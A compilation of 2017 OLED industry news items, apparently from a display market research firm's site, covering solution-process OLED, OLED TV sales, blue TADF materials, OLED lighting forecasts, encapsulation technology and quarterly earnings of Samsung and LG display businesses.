UBI Research analyst Hyunjun Jang explained that the solution process applied OLED has a simpler panel structure with 5 layers compared to 20 layers of WRGB OLED. WRGB OLED process material usage efficiency is only at 40% but solution process application could increase this to over 90%. Jang added that the lack of color filter is a factor that could decrease panel production price by reducing development cost. Particularly, this can greatly reduce emitting materials usage which occupies much of materials cost and contribute considerably to the fall in production cost. Furthermore, he added that cost setting of soluble emitting material per gram will be an important factor in production cost decrease and emphasized that organic material usage greatly decreases when soluble emitting materials are used but must consider price increase due to solvent cost, production cost, and development cost.

 

Solution process technology continues to receive attention as a key technology that can lead popularization of large area OLED, and key AMOLED panel companies are carrying out development.

 

In terms of technology, solution process OLED has lower emitting efficiency and short lifetime as diverse solvent is added to existing evaporation materials to transform into ink leading to low purity. This has been an important issue for panel and material companies for past several years. To improve this, DuPont, Merck, Sumitomo Chemical and others have been actively developing soluble OLED emitting materials. Much like evaporation materials, blue materials showed particular difficulty in performance improvement. However, at present significant portion of technology development has been carried out and investigation shows approximately 80% of lifetime and efficacy of has been achieved compared to evaporation materials.

 

2017 Solution Process OLED Annual Report compared and analysed WRGB OLED and solution process OLED’s competitiveness in terms of process, materials, and cost. Key issues, soluble OLED emitting materials development status, key companies’ trend, and solution process OLED market are analysed from various perspectives.

<Source: WRGB OLED and solution process OLED production cost comparison, UBI Research 2017 Solution Process OLED Annual Report>

LG Electronics, Big step on popularization of OLED TV

<OLED TV of LG Electronics Source: LG Electronics>

 

LG Electronics OLED TV is speeding up its popularization with exceeding monthly sales of 10,000 units for the first time in Korea.

‘LG OLED TV’ was sold every four minutes last month. Compared to the beginning of this year, it’s double. LG Electronics expects sales increase of OLED TVs in the future and to rapidly increase market power.

The secret to increasing sales is recognition of outstanding image quality. LG OLED TV, this year, was first in the performance evaluation conducted by nonprofit consumer magazines in 11 advanced markets including the US, UK, Germany, France, Italy, Spain, the Netherlands, Sweden, Belgium, Portugal and Australia. Unlike LCD TVs, the contrast ratio is high because it emits light without backlight. So it presents perfect black and realizes a lively screen.

Consumers consider picture quality the most when purchasing TV. According to a consumer survey conducted by LG Electronics, over 40% of the respondents cited image quality as the top priority when purchasing TVs. This percentage is the highest of all purchasing considerations.

Reasonable price is also the cause of good sales. LG Electronics has continuously developed technology for more consumer to experience OLED TV image quality so as to reduce the. 55-inch OLED TV prices have fallen to the mid-2 million won. It is no different from premium LCD TVs. In 2013 when LG Electronics first launched OLED TV, it was worth 15 million won.

‘LG OLED TV’ accounted for about 30% of LG Electronics domestic TV sales this year and settled perfectly in the market.

Son, Dae-Gi, LG Electronics Korea HE Marketing FD, emphasized “we will expand sales to allow more customers to enjoy ‘LG OLED TV’ image quality and have a solid profit structure by raising premium market power”.

Cynora, TADF will contribute to high-resolution implementation of OLED devices and panel cost reduction

At the Global Materials Tech Fair 2017 held on September 22 in COEX, CEO Ko Chang-hoon of EM Index, Cynora’s Korean partner, announced the development of the thermally activated delayed fluorescence, blue TADF, which is currently under development at Cynora.

 

<CEO Ko Chang-hoon of EM Index>

 

Generally, the blue light emitting material is insufficient in life and efficiency compared to red and green. For this reason, OLED panels for mobile devices are manufactured relatively large in blue pixel size compared to other pixels, in the OLED panel for TV, blue light emitting layers are laminated twice. The blue TADF is the material that is being developed to overcome the limitations of this blue light emitting material.

CEO Ko Chang-hoon mentioned “Applying blue TADF increases lifetime and efficiency, so it does not need to increase pixel size and it is advantageous for high resolution implementation” and emphasized “In mobile devices, it will be advantageous to reduce power consumption as well as realize high resolution and in case of TV, it will be advantageous to reduce the panel cost because only one layer of blue light emitting layer needs to be formed.”

He referred to the recent investments of € 25 million from Samsung Venture Investment and LG Display and explained that it was a proof that blue TADF is attracting a lot of attention.

It is also close to the efficiency, lifetime and color purity of the blue TADF required by major OLED panel makers and is expected to meet these requirements by the end of 2017.

 

<Cynora’s blue TADF development progress>

 

Finally, the company announced the development roadmap for the green TADF by the end of 2018 and the red TADF by the end of 2019, and concluded by emphasizing that TADF would contribute to high-resolution implementation of OLED products and panel cost reduction.

<Cynora’s TADF product development roadmap>

Fraunhofer Institute will introduce automotive flexible OLED lighting at ISAL 2017

Specialized in development and manufacturing OLED module, Fraunhofer Institute will introduce Automotive flexible OLED lighting with adjusted color at ISAL 2017 which will be held in Darmstadt, Germany from 25th to 27th September. Fraunhofer Institute had released previously OLED which the color can be adjusted by rigid substrate in 2015.

Fraunhofer Institute has continued to develop flexible OLED lighting since then. Flexible OLED lighting which will be shown at ISAL 2017 is known to be changed to yellow and blue color. It can be shown as white light by making of yellow and blue color at the same time.

Fraunhofer Institute predicts that flexible OLED lighting will be replaced for car interior lights and it could also be used on the ceiling or winding parts where lights cannot be built easily. Commercial lighting is required to have heatsink and unfortunately it can not be easily built with lack of flexibility in design. However flexible OLED lighting is very light and thin which means it is expected to be widely used for Automotives interior with its flexible design. Fraunhofer Institute also made a comment that they may produce flexible OLED substrate glass, metal and plastic film as well.

OLED lighting has been recently used for Automotives interior and it is expected to be used more in the next generation. Customized Automotive service company, Changscustom showed OLED lighting built in the car at Seoul Auto 2016. Furthermore lighting companies including LG Display and Osram supplied OLED tail light with Mercedes-Benz and BMW.

Meanwhile, according to 2017 OLED Lighting Annual Report which was recently published by UBi Research, using of Automotive OLED Lighting will be increased to $2.11 billion in 2025 from $6.4 million in 2017 with 107% of growth rate. Especially flexible OLED Lighting is expected to capture a higher market share more than 95% and flexible OLED Lighting will be widely used instead of rigid OLED lighting.

Starting to have mass production process in Gen5 OLED of LG Display from end of September, lighting market is expected to reach full growth. The growth of OLED lighting market is being watched with keen interest to compare with strong growth of OLED display market.

UBi Research, Lee Choong-Hoon, CEO, announce OLED market and forecast

Mr. Choong-Hoon Lee, the CEO of UBi Research, OLED specialist presented the market trend and prospects of the OLED industry following last year at the Japan Conference, host by Merrill Lynch Japan Securities, from 5th to 7th of September in Tokyo, Japan. The annual conference was held for Merrill Lynch Securities customers, consisting of a forum-type presentation on major industry trends in Japan and small meetings with presenters.

The fact that Mr. Lee, the CEO of UBi Research was invited to the event indicates the importance of the display market, not just in the IT industry but also in the global market industry. Among investors in recent years, display is in the spotlight at as an emerging industry and participants have shown their interest in the latest OLED technology trend as well as current and future production scale of OLED panel manufacturers.

Mr. Lee was also had an interview with Nikkei Business Publication regarding “Global OLED Market Trend and Forecast” during the conference. The main interview question is focused on “OLED industry trend and future OLED TV market development”. According to Naoki Tanaka, editor of Ronny Keikyo Newspaper, Japanese electronics industry is expecting to revive the old glory of display industry, showing its interest in the OLED industry and OLED TV.

In the interview, Mr. Lee stressed, referring to the market data in the UBi Research OLED display report, that Japanese display manufacturers who still believe perpetuation of LCD need more reliable OLED market analysis.

In addition, he said that through the exhibition trend of OLED TV at 2017 IFA held in Berlin, Germany it is worthwhile paying continuous attention to the premium OLED TV market in the future. At the end of the interview, he emphasized how important OLED production by Japanese panel manufacturers would be to Japan’s entire display and set industry.

UBi Research publishes a monthly report on a variety of topics of OLED industry, market, and technology trend, and draws more and more attention along with the recent OLED market expansion. For more information, please contact UBi Research (info@ubiresearch.com); useful sample reports and information are provided.

UBI research publishes 2017 OLED lighting report : LG Display, ready to mass-produce OLED light panel, expecting OLED lighting market to grow fast

■ LG Display starts mass production of 5G OLED panel for lighting from the end of September

■ OLED lighting panel market is projected to grow from US$ 1.9billion in 2021 to US$ 5.8billion by 2025

 

LG Display will start mass production of 5G OLED light panels from the end of September, therefore attention is focused on whether the OLED lighting market is growing rapidly. According to LG Display, monthly production capacity is 15K, and it is to be increased to 90K later.

 

According to the ‘2017 OLED Lighting Annual Report’ published by UBI Research on August 8, the global OLED lighting panel market is expected to grow to about US$ 1.9 billion by 2021. Furthermore, it is projected to have a CAGR of 85% for the period 2017-2025, and form a market of US$ 5.8 billion in 2025.

Because OLED lighting is thin, light and flexible, it does not limit the installation space and has excellent design autonomy. In addition, OLED lighting is used for automotive, exhibition, and medical as well as general indoor lighting because it can create a comfortable atmosphere with little heat and flicker.

 

However, the market for OLED lighting has been slower than that of OLED display, which is widely applied to mobile devices and TVs. Osram focuses primarily on automotive OLED lighting, and Philips sold its OLED lighting division to OLEDWorks. Also, Japanese panel makers such as Sumitomo Chemical and Konica Minolta have developed OLED lighting for industrial and medical applications. Nevertheless, it seems to take time for OLED lighting to become eventually a large market.

With LG Display’s mass production of Gen5 OLED line, the price of OLED light panel is estimated to drop below US $ 10 (100 x 100 mm). The significant price competiveness might enable OLED panels to be applied to various areas such as automobile and display lighting as well as indoor lighting. Owing to this expectation, attention is focused on whether the OLED lighting market, showing signs of slow growth, can be materialized.

UBI Research predicted that LG Display would account for about 70% of the world’s lighting OLED panel market in 2017, and will continue to lead the OLED lighting panel market with a 50% market share in 2020.

 

Meanwhile, ‘2017 OLED Lighting Annual Report’ describes trends of next-generation lighting market, promising applications, cost analysis upon the investment of LG Display and forecast of OLED lighting market. Since it analyses particularly OLED lighting market, materials market, and equipment market forecasts for OLED lighting from various perspectives, it is expected to help the related companies identify the OLED lighting market.

 

<Sales forecast for total OLED lighting panels>

 

LG DISPLAY, Will lead global TV market with OLED

LG Display invited about 200 people of Chinese set makers, distributors and related experts and had ‘OLED Partner’s Day’ to share the status of premium TV market and OLED TV business development at Renaissance Capital Hotel in Beijing, China on September 12.

 

<Source : LG Display>

 

In the expert forum on the day, key executives from distribution and set makers such as LG Electronics, Sony, Philips, Skyworth, Suning and related organizations such as electronic committee and awards association participated and agreed that OLED will lead the TV market in the future. Forum participants, Liu Tangz(刘棠枝), CEO of Skyworth, said “The Chinese TV industry is currently in a state of saturation, but OLED TV, which can offer new value, will be a breakthrough in the display industry,” and commented “OLED TV will help increase brand awareness and market share.”

 

Yeo Sang-Deog, LG Display CMO, said, “OLED TV has already become the market trend” and emphasized “We will lead the market with OLED TV, a true future display that can deliver value beyond TV.”

 

Since LG Display began mass production of OLED TV panels in 2013, it has expanded its customer base to 13 major companies in Europe, Japan and China, starting with LG Electronics. World TV set makers such as LG Electronics, Skyworth, Concha, Philips and Panasonic have set OLED TV products on the front at the IFA (International Consumer Electronics Show) 2017 in Berlin in early September.

 

OLED TV’s market competitiveness is getting higher as major set makers in the world recognized the value of OLED TV, which has various advantages such as image quality, thickness, design, viewing angle and power consumption and aggressively launch products.

 

Yeo Sang-Deog CMO emphasized the confidence in quality, he added, “In addition to securing stable yields, we will increase the output to 1.7 ~ 1.8 million units in 2017 and 2.5 million units in 2018.” and explained that they finished all the preparations that OLED TV can influence in terms of production.

 

<Source : LG Display>

 

OLED TV has been rated as one of the best products by the world’s leading professional rating agencies such as ‘Consumer Report’, a nonprofit consumer organization in the US.

 

OLED TV can be used for interior decoration that displays pictures and photos even when not watching TV, and easy to apply on various AI platforms so that there is no limit to the range of applications. LG Display expects OLED TVs with infinite scalability to change the lifestyle of consumers.

 

“OLED is a true future display that can deliver new value to the TV market,” said Yeo Sang-Deog CMO and “LG Display plans to carry out a variety of promotional activities to enable more consumers to know and experience the value of OLED.”

 

LG Display plans to build an OLED landmark in Guangzhou Tower while operating an OLED experience center in the core city of China.

 

Meanwhile, Vincent Teoh, editor-in-chief and image quality expert at HDTV Test, explained that the TV picture quality test conducted recently proved the overwhelming superiority of OLED TV in all aspects such as contrast and color accuracy, famous Chinese photographer Tungmeong (童梦) shared the experience of use from the user perspective that OLED is the best display to realize the natural color.

 

On the other side of the event hall, there prepared the experience zone that can compare structure and image quality of OLED, gallery that can be observed high-end products such as CSO and wallpapers TV and products released by customers allowing attendees to directly experience the benefits of OLED TV.

[iMiD 2017] AP Systems, Find FMM answers through USPL

At iMiD 2017 in BEXCO, Busan on 28th, AP Systems announced that it succeeded in developing 1000ppi FMM with USPL (ultra-short pulse laser).

Since FMM plays a role of depositing pixels and RGB organic materials, FMM serves as a factor that determines resolution and yield of OLED. At present, FMM is mainly manufactured by etching method. This method has a problem that a shadow phenomenon due to the precision, thickness, and weight of the fine pattern occurs, in order to solve this problem, various FMM manufacturing processes such as laser processing and electro-forming have been developed.

Among these, laser processing method has an issue of forming burrs around pin-holes due to the thermal effect caused by laser irradiation. These burrs increase the shadow interval of the FMM, which causes overlapping of patterns during RGB organic deposition, thereby degrading the resolution of the OLED.

AP Systems has developed a burr-free laser process that does not have burr phenomenon and further controls the taper angle.

The Burr-free laser process is a short-time irradiation of unidirectional pulses at a constant number of times, since the laser is not continuously irradiated, it minimizes accumulated heat energy and prevents burr formation. In addition, by controlling energy of the laser, it accumulates energy and forms taper.

In this way, AP Systems explained ‘they produced FMM with various shapes of fine pin-holes such as square, diamond, and polygonal shapes, as well as 1170ppi FMM’, and ‘’We also developed large-area FMM manufacturing equipment with USPL method’.

AP Systems also added ‘multi-beam and USPL is equipped for FMM manufacturing equipment so that it can improve productivity and realize UHD’.

Since the launch of the Galaxy Note4 in 2014, the OLED resolution has remained at the QHD level yet. In order to manufacture an OLED having a high resolution (UHD level or higher), it is necessary to solve various technical problems faced by FMM. Accordingly, it is noteworthy how USPL technology of AP Systems will affect the future OLED market.

<1000ppi FMM produced by AP Systems>

 

<various type of FMM produced by AP Systems>

[iMiD 2017] You Dream, We OLED

 

LG Display is expanding in earnest in OLED market.

In the keynote session of IMID 2017 held in Busan on 29th, LG Display’s CTO Kang In-byeong pointed out the future plan of LG Display as “OLED is a strong candidate to lead the future display industry”.

Kang In-byeong, CTO, said that by 2020, large-area OLED will increase its production capacity by 7 times to 2020, thereby reducing the cost cap with LCD and leading the market on the basis of technology such as wall paper, sound integration, rollable and transparent flexible. LG Display recently invested in Gen8.5 in China and is expected to invest in Gen10.5 OLED mass production line at Paju P10 plant.

On the other hand, for small and medium-sized OLEDs, they have announced that they will use a fast follower strategy based on plastic OLED. LG Display is in mass production of plastic OLED panel to be applied for LG Display’s next smartphone, V30, next smartphone, and is ready for the mass production in the E5 line of Gumi. In addition, they plan to invest 10trn won additionally to Gen6 line, which is expected to increase 13 times the current capacity by 2020.

Based on this aggressive OLED investment, LG Display plans to raise its portion of OLED sales up to 40% in 2020 from current 5% in large-area OLEDs and small- and medium-sized OLEDs.

Currently, large-area OLEDs continue to increase capacity and yield and LG Display is likely to expand sales in the future, as it is dominating the premium TV market as it is expanding the camps of Sony, Philips and Panasonic as well as LG Electronics. The success of mass production in small- and mid-sized OLEDs will determine whether or not LG Display plans to achieve its plan.

 

LG Electronics leading OLED TV camp to premium sensation

<LG OLED TV exhibited at IFA2016>

LG Electronics is expanding its OLED TV camp to dominate the premium market. LG Electronics decided to supply OLED TV since September to Danish prestigious audio company B & O (Bang & Olufsen), making a fruitful result of OLED TV expansion.

‘B & O’ held an OLED TV public event in Berlin on Aug 30th in local time. ‘LG OLED TV is equipped with its own sound technology and will be shown to visitors at ‘IFA 2017’ from September 1 to 6.

LG Electronics also emphasized that the OLED TV camp is on the constant rise. It is expected that there will be 13 manufacturers exhibiting OLED TV at ‘IFA 2017’. As the number of companies increased from 11 last year, it is said that these companies are planning to execute their premium marketing strategies by bringing OLED TV in front.

LG Electronics analyzed that mushrooming OLED TV sales among many companies are attributed to securing a stable profit structure. As Chinese and Taiwanese makers are investing heavily in LCD panel production, the price competition is likely to be intensified in the future and LCD technology has already reached the maturity phase, difficult to be differentiated with LCD. Taken the market environment into consideration, TV makers have been targeting a premium market with differentiated OLED TV.

LG Electronics announced that OLED TV makes the profit structure of LG Electronics stable and secure. The HE division in charge of TV business stated that it achieved 8.5% of operating profit (sales 8,561 billion KRW, operating profit 725.2 billion KRW) in the first half of this year. LG Electronics mentioned the premium OLED TV has brought the high profitability and noted that OLED TV sales accounted for 15% of sales in the first half of LG Electronics’ business operation.

The LG OLED TV currently being commercialized has swept the various awards by media and experts all over the world, and is ranking number one in the performance evaluation. The screen quality, sound quality and design have been complimented in the TV’s key elements.

Particularly, at ‘IFA 2017 in Berlin Germany, LG Electronics will aggressively approach and further strengthen the premium TV market from September 1 to 6, introducing the advanced screen quality technology of ‘LG OLED TV’. “We will enhance our leadership in the global market by bringing OLED TV presently reorganizing the premium market in front.”

2Q OLED panel shipments, continued to rise

■ Panel shipments of smartphones grew 2.6% YoY to 95.3million units

■ TV OLED panel shipments reached 370,000 units, up 165% YoY

 

According to Ubi Research, OLED panel shipments for smartphones in the second quarter of 2017 were 96.3 million units, up 2.6% from 92.9 million units in the same period last year.

Compared to the previous quarter (94.7 million units), it increased by 0.6%.

<OLED panel shipments for smartphones>

 

Samsung Display has a market share of 96.7% in the second quarter of 2017 and is the number one player in the small and medium sized OLED market. Galaxy S8 and S8 + are showing robust sales, and Samsung Display’s small to medium sized OLED market is expected to continue to remain strong for the time being with OLED adoption of Galaxy Note 8 and some models of the iPhone 8.

OLED panels are also applied to LG Electronics’ V30, which is expected to be released on the 31st, and major smartphone makers in China are also expanding their OLED panels. The OLED panel market for smartphones is expected to grow steadily, and the trend for smartphone displays is expected to gradually shift from LCD to OLED.

 

<TV OLED panel shipments>

 

On the other hand, TV OLED panel shipments are growing 370,000 units, up 165.0% from 140,000 units a year earlier. Compared to the previous quarter (306,000 units), it increased 21.2%.

The OLED TV market is expected to expand gradually this year with Sony’s participation in OLED TV camps.

LG Display’s Paju E4 new line is expected to be fully operational from 3Q and TV OLED panel production is expected to increase steadily.

LG OLED TV, Has Won the ‘EISA Awards’ 6 Years Straight

On August 15th, LG Electronics’ premium TVs including OLED TV received EISA’s most prestigious award in Europe.

 

<LG OLED TV (model: OLED65E7), Source: LG Electronics>

 

LG OLED TV (model: OLED65E7) was selected as ‘EISA OLED TV’ by the European Imaging and Sound Association (EISA). LG OLED has once again proven its advanced technology by winning the ‘EISA Award’ for six consecutive years since 2012.

The association commended “LG OLED TV has the ability to deliver perfect black for an incredible picture as well as vivid color expression and wide viewing angle”. “And black expression and brightness has improved compared to last year.” In addition, the judges were also impressed by its diverse HDR such as Dolby Vision and HDR10, ultra-slim design, rich sound of Dolby Atmos, and convenient usage.

 

<LG Sound Bar (model: : SJ9), Source: LG Electronics>

 

LG Sound Bar was recognized with the ‘EISA Sound Bar Award’. It was cited as being one of the rare products with both luxury design and sound. The judges also said it is well harmonized with surround sound and rich medium-low sound due to Dolby Atmos technology.

The ‘EISA Award’, held by EISA(European Imaging and Sound Association), is highly recognized worldwide in the field of imaging and sound. EISA is the Europe’s largest multi-media association of AV experts from 20 countries. Since 1982, it has selected the best products in the field of sound, imaging, photography and mobile devices every year. The jury, composed of reporters and external technical experts, selects the winners so it is highly credible.

“We will continue to lead the premium TV market with the products that are recognized for their advanced technology,” said Kwon Bong-suk, vice president of LG’s HE business.

Stretchable OLED commercialization is on the rise

Samsung Electronics and LG Electronics have steadily been releasing smartphones and smart watches using flexible OLED since 2013, and electronics companies in China have begun to put out one of them. In particular, Apple, the leader in the smartphone industry, is also seeing the launch of iPhone with flexible OLED, and the flexible OLED market is expected to grow further.

The shape of the flexible OLED was expected to be changed to foldable and rollable beyond the bendable. Recently, however, the display industry has surpassed this trend and has been focusing on the development of stretchable OLEDs.

 

<Development Roadmap of OLED, Source: Ubi Research>

 

A stretchable OLED is a type of a flexible OLED that is finally evolves, which means OLED having elasticity as like rubber band.

 

Samsung Display unveiled this stretchable OLED at SID 2017. Samsung Display’s stretchable OLED is 9.1 inch and implementable both convex and concave shapes. At the time, Samsung Display announced that it realized the world’s first technology to maintain the existing image quality while increasing the screen size to 12 mm in concave mode.

 

<9.1 inch stretchable OLED displayed by Samsung Display, Source: Samsung Display>

 

LG Display will also develop the stretchable OLED. LG Display announced on June 6 that it will develop backplane and photoluminescence materials, devices, and process source technologies with elasticity of more than 20% for a total of four years through a consortium with Korea University.

 

In addition, LG Display has developed flexible plastic substrate materials, flexible wiring materials and transparent electrode materials, stretchable organic light emitting materials, and flexible encapsulates, they will also acquire essential process technologies including thin film transistors (TFTs) and process architectures that enable low-temperature processing.

 

At present, stretchable related technology is not yet applied to production, or elongation is only about 5%, and the number of repeated stretching is limited. In addition, most of the source technology is in overseas, it is expected that Samsung Display and LG Display will be able to secure technological gap with latecomers.

Stretchable OLED is free of form restrictions and expected to produce applications in new areas when applied to a variety of applications such as smart phones, tablets clothes and human skin when they are commercialized.

UDC, whose total revenue increases by 59% in Q2 2017 with royalty and license fees

UDC(Universal Display Corporation) has announced the financial performance of the 2nd quarter of 2017 as of Aug 3rd.

UDC’s total revenues in the second quarter of 2017 has been recorded as US $125millon, increased by 59 percent, compared to that of the previous year, US $ 64.4 million. Material sales has been also increased by 110 percent to $ 46.8 million; the profit from royalties and license fees increased by 28 percent to $ 53.7 million; $ 26.5 million was contributed to the operation profit to make US $ 60.5 million, and net profit for this term has been increased from US $ 2,540 to US $ 47.2 million.

The UDC has seen its total revenue contributed by royalty and license fees and the material revenue by the increase in sales of blue and green phosphorescent materials.

As the OLED market grows, the OLED material market co-prospers, leading to business growth of UDC. According to 2017 OLED Emitting Materials Market Report of UBI search, the global OLED emitting materials market shows great prospects with the market size worth $ 960 million in 2017, and it is anticipated to reach the annual average growth rate 37%, enlarging the market size as $ 3.36 billion by 2021.

<Market Forecast of Emitting Materials>

LG Electronics, watching bigger and clearer on ‘OLED FullVision’

<Source: LG Electronics>

 

LG Electronics will have a strategic premium smartphone equipped with OLED in the 2nd half this year.

LG Electronics will apply OLED FullVision, an 18: 9 aspect-ratio OLED display completely filling the entire screen panel to a strategic premium smartphone in the 2nd half. The size of the display is 6inch wide- larger than 5.7 inches of the previous model LG V20, but the size of the product is rather smaller by reducing the size of the bezel.
Based on the display technology obtained from LG OLED TV, which has been recognized as the world’s best premium TV, LG Electronics plans to provide a different level of visual experience of smartphone; “With OLED technology which has been accumulated over the years, we have completed the differentiated high-class design of the subsequent strategic premium smartphone.”
In the LG Electronics’ strategic premium smartphone, the “bezel bending” technology has been embedded in, which makes the circuit and insulating layers at the bottom of the panel bent backwards and the lower bezel reduced by about 50% compared to the previous model V20. Toughened glass on the outer layer of display is curved all around edge and is smoothened along the contour line of the backside to emphasize a sense of unity on the design,

OLED FullVision has a QHD + (1,440×2,880) resolution and an optimized screen quality algorithm equipped with a color gamut of 148% based on sRGB, default color space for photography and internet, and 109% based on digital cinema color standard DCI-P3.

LG Electronics stated that OLED FullVision should present a deep and vibrant screen with excellent contrast ratio and fast response time will provide a full-fledged screen without afterimages for fast-moving video or games.

LG Electronics also said, “The durability of the display has been upgraded as well, considering the portability of smartphone. OLED Full Vision is stronger than glass substrate displays because it is based on P-OLEDs with pixels placed on plastic substrates,”; “Cutting edge technologies are embedded in such as Corning®’s latest tempered glass ‘Gorilla® Glass 5’ and shatter-resistant technology that prevents the glass powder from scattering when the glass breaks. ” LG added.

Additionally LG Electronics said, “We have applied hardware and software technology to enhance durability. Also encapsulation technology that minimizes oxidation by covering the pixels with a protective film to prevent air contact, and pixel scanning program that identifies heavily used pixels and reduces their power consumption. OLED technology has minimized the burn-in phenomenon that can occur on the display. ”

Joon-ho Cho, president of LG’s MC business director emphasized, “We will provide a high end smartphone with a different level of design and screen quality, integrating the world’s best display technologies proven by LG OLED TV.

OLED Encapsulation, TFE is the Top Trend

  • Expected application of TFE to all edge type and full screen use flexible OLED
  • PECVD manufacturing equipment, 62% of total encapsulation manufacturing equipment market

 

According to 2017 OLED Encapsulation Annual Report published by UBI Research, of OLED encapsulation technology, TFE (thin film encapsulation) will be applied to approximately 70% of total OLED panel in 2021, and become the key encapsulation technology.

OLED display trend is heading toward minimizing bezel for full screen actualization from edge type, and flexible OLED is being considered as the most optimal display for full screen. As such, Chinese panel companies, as well as Samsung Display and LG Display, are concentrating on flexible OLED mass production line investment rather than rigid.

Flexible OLED must be thin and bendable; glass using frit encapsulation Is not suitable and TFE (thin film encapsulation) or hybrid encapsulation must be applied. TFE is a structure that is formed via laminating thin inorganic and organic materials. In the early stages of development, it had 11 layers of complex organic and inorganic material deposition with low yield. However, it now has been reduced to 3 layers and greatly improved productivity, yield, and cost and it is being applied to most of flexible OLED.

 

<Thin film encapsulation development history, 2017 OLED Encapsulation Annual Report>

 

Hybrid encapsulation, which uses barrier film, is being applied to some flexible OLED. However, due to the high cost of barrier film and relatively thick thickness, recent investment is focused on TFE application.

According to UBI Research analyst Jang Hyunjun, TFE encapsulation is expected to continue to be applied to edge type and full screen type flexible OLED panel, and related manufacturing equipment and material market will carry on their growth.

The report explains that TFE’s key manufacturing equipment are inorganic material forming PECVD and organic material forming ink-jet printer. In particular, PECVD is used in inorganic material film formation of hybrid encapsulation as well as TFE. Therefore, PECVD market is estimated to record US$ 6,820 million in 2017-2021, and occupy approximately 62% of the total encapsulation manufacturing equipment market.

 

<PECVD manufacturing equipment market volume, 2017, 2017 OLED Encapsulation Annual Report>

The report includes encapsulation related key manufacturing equipment and material market in addition to encapsulation development history and trend, and key panel companies’ trend.

LG Electronics, “Sales of the Premium TV in 2017 would hold 60%”

 

LG Electronics spoke that “The portion of premium TVs in total TV sales will be increased from about 40% in 2016 to around 50% in first half of 2017 and up to 60% in the end of this year.” at the conference call in Q2 2017, which was held on 27th.

The performance in Q2 for HE area of LG Electronics showed 4 trillion and 234.9 billion won in sales, and 343 billion won in operating profit. The QOQ on sales was declined to 2.1%, and the demands of the global TV market are continuously reducing, but the sales of the same quarter in last year showed 1.9% growth through the sales expansion of the OLED premium TVs.

Jin-ho, Ha, the HE director of LG Electronics said that “The Q2 performance was slightly decreased in QOQ and same quarter in last year due to the panel cost increase and marketing promotion for the new product launching, but we sustained healthy profit structures through the expansion of the premium TV sales and the improvement of cost structures consistently.” And also expected, “There are concerns on the slowdown in growth of worldwide TV market for the interest rate hikes and the oil price decrease, nevertheless, the premium TV market will steadily grow according to the demand increase on OLED TV and UHD TV.”

Subsequently, he answered on the question of the counterstrategy for the SONY, “It is not just right time to judge the OLED TV of SONY yet, but until now, we think that the OLED TV of us is quite superior regarding the aspect of design of products, image quality, and its lineup and so on.”

On the recent investment for large-sized OLED of LG Display, “LG Display and LG Electronics, both of us, will wisely take and proceed the world best strategy together of premium TVs by strengthening the premium status of OLED TV.”

He explained on the TV business of LG Electronics, “We have been improving the profitability focusing on the premium lines, and also completely avoiding the quantitative competition. We plan to continuously sustain the quality-oriented rather than quantity.” He added, “We will pursue the activities to intensively keep the premium image of OLED.”

They stated to be maintaining the stable profit structures with aiming at continuous sales expansion of premium products through the marketing promotion for the premium TV-oriented to prepare the high-season for the TV market in second half.

Samsung Electronics’ Display Business Recorded Operating Profit of 1.71 Trillion KRW in Q2, 2017

 

Samsung Electronics announced that it reached sales of 61 trillion Korean won and operating profit of 14.07 trillion Korean won, and the display business recorded 7.71 trillion won and operating profit of 1.71 trillion won, through the Q2 2017 Earnings Conference Call on 27th. Its display business has recorded more than 1 trillion won in the black, for 4 consecutive quarters since Q3 2016.

 

According to Samsung Electronics, its earnings for Q2 2017 has increased compared to the previous quarter due to the expanded sales of flexible OLED panels and high value-added LCD products.

 

The OLED division saw its earnings improvement on the back of flexible products sales increase due to the expanded sales of major customer flagship models, and accounted for low 60% of sales. The LCD division also improved earnings by expanding the sales of high value-added products, mainly UHD and large TVs.

 

The OLED division is expected to see sales growth for the second quarter of this year due to the expanded supply of flexible products compared to the last quarter. However, there will be fiercer competition with LTPS LCD in the mid to low-end market and a risk of cost increase resulting from ramp-up of new capacity lines. Accordingly, Samsung plans to improve profitability by aggressively responding to major customer demand through stable ramp-up of new lines and improving product mix.

 

The LCD division is anticipated to be in a supply-demand imbalance due to set companies’ stock increase of panels and panel suppliers’ supply expansion, but premium TVs such as high resolution and super-size TVs are expected to continue to grow. Samsung has a plan to increase profitability by promoting yield and cost improvement activities and by expanding the sales of not only high value-added products such as UHD and large-size products but also differentiated design products such as frameless and curved products.

 

Samsung Electronics recorded sales of 93 million mobile phones and 6 million tablets in Q2 2017, and in the third quarter, the sales of mobile phones and tables are likely to increase slightly and remain flat, respectively quarter on quarter. The sales volume of LCD TVs is expected to reach 9 million units and grow at low single in the third quarter.

 

Samsung Electronics invested a total of 12.7 trillion KRW in its facilities in the second quarter, of which 4.5 trillion KRW were invested in the display. This year’s investment plan for facilities is yet to be determined, but investment is expected to increase substantially from last year, especially for semiconductors and displays. The display division plans to invest in production expansion to meet the increasing demand for flexible OLEDs.

 

Director Lee Chang-hoon of Samsung Display said, “The smartphone set makers’ OLED adoption will continue to increase with the constant strong demand for it. The current OLED line is being resiliently operated in line with market and customer needs”. He added “We will continue to use and operate OLED lines strategically in accordance with market demand and customer needs.”, and explained they are not considering the plan to further shift LCD lines into OLED.

LG Display, Expects 40% of OLED out of total sales in 2020.

 

LG Display spoke that they plan to change the sales structure by focusing on the OLED sales at the conference call in Q2, 2017 which was held on 26 July, and they expected that the OLED sales portion among the total sales would be from 10% in this year to 40% in 2020.

Sang-don, Kim, the CFO of LG Display said that they will invest about 15 trillion won of production line for the Gen10.5 OLED and the Gen6 POLED(Plastic OLED) at Paju P10 factory against 4 years. He said that “The investment of Paju P10 is a leading task for the mass production and the improvement of efficiency because the demand of OLED TV is rapidly increasing by the forecasting of 2.5 million units in 2018 and 6 million units in 2020. We will take the P10 factory as an OLED hub.”

The CFO also said that “We plan to order and install the necessary equipment from July 2017 to January 2019 for the Gen10.5 OLED line in Paju P10 factory, and through test period for 6~12 months, the 1st target will be to mass-produce the OLED of 30,000 units per month based on single unit. 5 trillion won will be invested to the P10 factory to install new lines of the Gen6 POLED with 30,000 units per month and it would be started to produce it in 2019.”

